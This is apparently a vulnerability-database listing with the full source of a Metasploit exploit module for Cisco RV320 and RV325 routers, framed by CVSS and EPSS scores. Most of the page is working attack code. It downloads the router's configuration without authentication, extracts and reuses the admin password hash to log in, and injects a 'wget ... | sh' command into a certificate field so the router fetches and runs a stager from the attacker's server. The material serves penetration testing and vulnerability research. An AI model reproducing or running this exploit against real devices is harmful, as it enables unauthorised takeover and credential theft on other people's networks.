Lucene search

K
metasploitRedTeam Pentesting GmbH, Philip Huppert, Benjamin GrapMSF:EXPLOIT-LINUX-HTTP-CISCO_RV32X_RCE-
HistoryFeb 25, 2019 - 2:51 p.m.

Cisco RV320 and RV325 Unauthenticated Remote Code Execution

2019-02-2514:51:05
RedTeam Pentesting GmbH, Philip Huppert, Benjamin Grap
www.rapid7.com
18

7.5 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

9 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:S/C:C/I:C/A:C

0.976 High

EPSS

Percentile

100.0%

This exploit module combines an information disclosure (CVE-2019-1653) and a command injection vulnerability (CVE-2019-1652) together to gain unauthenticated remote code execution on Cisco RV320 and RV325 small business routers. Can be exploited via the WAN interface of the router. Either via HTTPS on port 443 or HTTP on port 8007 on some older firmware versions.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking


  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::CmdStager

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Cisco RV320 and RV325 Unauthenticated Remote Code Execution",
      'Description'    => %q{
        This exploit module combines an information disclosure (CVE-2019-1653)
        and a command injection vulnerability (CVE-2019-1652) together to gain
        unauthenticated remote code execution on Cisco RV320 and RV325 small business
        routers. Can be exploited via the WAN interface of the router. Either via HTTPS
        on port 443 or HTTP on port 8007 on some older firmware versions.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [
        'RedTeam Pentesting GmbH', # Discovery, Metasploit
        'Philip Huppert',          # Discovery
        'Benjamin Grap'            # Metasploit
      ],
      'References'     => [
          [ 'CVE','2019-1653' ],
          [ 'CVE','2019-1652' ],
          [ 'EDB','46243' ],
          [ 'BID','106728' ],
          [ 'BID','106732' ],
          [ 'URL', 'https://www.redteam-pentesting.de/en/advisories/rt-sa-2018-002/-cisco-rv320-unauthenticated-configuration-export' ],
          [ 'URL', 'https://www.redteam-pentesting.de/en/advisories/rt-sa-2018-004/-cisco-rv320-command-injection' ]
      ],
      'Platform'       => 'linux',
      'Targets'        =>
        [
         [ 'LINUX MIPS64',
          {
           'Platform' => 'linux',
           'Arch'     => ARCH_MIPS64
          }
         ]
        ],
      'Payload'        =>
        {
         'BadChars' => ""
        },
      'CmdStagerFlavor' => [ 'bourne' ],
      'Privileged'     => true,
      'DisclosureDate' => '2018-09-09',
      'DefaultTarget'  => 0))

    register_options([
      Opt::RPORT(8007), # port of Cisco webinterface
      OptString.new('URIPATH', [true, 'The path for the stager. Keep set to default! (We are limited to 50 chars for the initial command.)', '/']),
      OptInt.new('HTTPDELAY', [true, 'Time that the HTTP Server will wait for the payload request', 15]),
      OptBool.new('USE_SSL', [false, 'Negotiate SSL/TLS for outgoing connections', false]) # Don't use 'SSL' option to prevent HttpServer from picking this up.
    ])
    deregister_options('SSL') # prevent SSL in HttpServer and resulting payload requests since the injected wget command will not work with '--no-check-certificate' option.
    deregister_options('SSLCert') # not required since stager only uses HTTP.
  end

  def execute_command(cmd, opts = {})
    # use generated payload, we don't have to do anything here
  end

  def autofilter
    true
  end

  def on_request_uri(cli, req)
    print_status("#{peer} - Payload request received: #{req.uri}")
    @cmdstager = generate_cmdstager().join(';')
    send_response(cli, "#{@cmdstager}")
  end

  def primer
    payload_url = get_uri
    print_status("Downloading configuration from #{peer}")
    if(datastore['USE_SSL'])
      print_status("Using SSL connection to router.")
    end
    res = send_request_cgi({
      'uri' => normalize_uri("cgi-bin","config.exp"),
      'SSL' => datastore['USE_SSL']
    })
    unless res
      vprint_error('Connection failed.')
      return nil
    end

    unless res.code == 200
      vprint_error('Could not download config. Aborting.')
      return nil
    end

    print_status("Successfully downloaded config")
    username = res.body.match(/^USERNAME=([a-zA-Z]+)/)[1]
    pass = res.body.match(/^PASSWD=(\h+)/)[1]
    authkey = "1964300002"
    print_status("Got MD5-Hash: #{pass}")
    print_status("Loging in as user #{username} using password hash.")
    print_status("Using default auth_key #{authkey}")
    res2 = send_request_cgi({
      'uri' => normalize_uri("cgi-bin","userLogin.cgi"),
      'SSL' => datastore['USE_SSL'],
      'method' => 'POST',
      'data' => "login=true&portalname=CommonPortal&password_expired=0&auth_key=#{authkey}&auth_server_pw=Y2lzY28%3D&submitStatus=0&pdStrength=1&username=#{username}&password=#{pass}&LanguageList=Deutsch&current_password=&new_password=&re_new_password="
    })

    unless res
      vprint_error('Connection failed during login. Aborting.')
      return nil
    end

    unless res.code == 200
      vprint_error('Login failed with downloaded credentials. Aborting.')
      return nil
    end

    #Extract authentication cookies
    cookies = res2.get_cookies()
    print_status("Successfully logged in as user #{username}.")
    print_status("Got cookies: #{cookies}")
    print_status("Sending payload. Staging via #{payload_url}.")
    #Build staging command
    command_string = CGI::escape("'$(wget -q -O- #{payload_url}|sh)'")
    if(command_string.length <= 63)
      print_status("Staging command length looks good. Sending exploit!")
    else
      vprint_error("Warning: Staging command length probably too long. Trying anyway...")
    end

    res3 = send_request_cgi({
      'uri' => normalize_uri("certificate_handle2.htm"),
      'SSL' => datastore['USE_SSL'],
      'method' => 'POST',
      'cookie' => cookies,
        'vars_get' => {
         'type' => '4',
        },
        'vars_post' => {
          'page' => 'self_generator.htm',
                    'totalRules' => '1',
                    'OpenVPNRules' => '30',
                    'submitStatus' => '1',
                    'log_ch' => '1',
                    'type' => '4',
                    'Country' => 'A',
                    'state' => 'A',
                    'locality' => 'A',
                    'organization' => 'A',
                    'organization_unit' => 'A',
                    'email' => '[email protected]',
                    'KeySize' => '512',
                    'KeyLength' => '1024',
                    'valid_days' => '30',
                    'SelectSubject_c' => '1',
                    'SelectSubject_s' => '1'
        },
        'data' => "common_name=#{command_string}"
    })
    unless res3
      vprint_error('Connection failed while sending command. Aborting.')
      return nil
    end

    unless res3.code == 200
      vprint_error('Sending command not successful.')
      return nil
    end
    print_status("Sending payload timed out. Waiting for stager to connect...")
  end

  def check
    #Check if device is vulnerable by downloading the config
    res = send_request_cgi({'uri'=>normalize_uri("cgi-bin","config.exp")})

    unless res
      vprint_error('Connection failed.')
      return CheckCode::Unknown
    end

    unless res.code == 200
      return CheckCode::Safe
    end

    unless res.body =~ /PASSWD/
      return CheckCode::Detected
    end

    CheckCode::Vulnerable
  end

  def exploit
    # Main function.
    # Setting delay for the Stager.
    Timeout.timeout(datastore['HTTPDELAY']) {super}
  rescue Timeout::Error
    print_status("Waiting for stager connection timed out. Try increasing the delay.")
  end
end

7.5 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

9 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:S/C:C/I:C/A:C

0.976 High

EPSS

Percentile

100.0%